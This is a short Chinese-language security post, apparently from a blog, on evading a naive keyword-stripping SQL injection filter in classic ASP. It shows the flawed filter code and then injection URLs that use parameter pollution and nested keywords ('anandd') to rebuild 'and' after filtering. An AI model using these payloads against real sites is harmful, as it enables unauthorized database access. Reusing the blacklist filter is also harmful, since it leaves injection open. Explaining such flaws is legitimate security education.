<%
id = request("id")
id = replace(id, "and", "")
…………//过滤其它的危险关键字
id = replace(id, " ", "")
id = replace(id, ",", "") //过滤空格和逗号,这是使用本方法必须的条件
%>

    你还有办法注入吗?以打碎关键字“and”为例,咱们可以这样:

test.asp?id=127%20&id=an&id=d%201=1

    原理很简单,如果你提交 test.asp?id=1&id=2&id=3 时,Asp 接收到的结果是:1, 2, 3,注意中间的空格。

    php 的无效,直接覆盖了,其它的没测试。

    本文所设计的使用条件比较苛刻,需要过滤逗号和空格,但我估计存在这种问题的站点依然不少。

也可以这样写:

    https://lcx.cc/index.asp?id=1
    https://lcx.cc/index.asp?id=(1)anandd(1=1)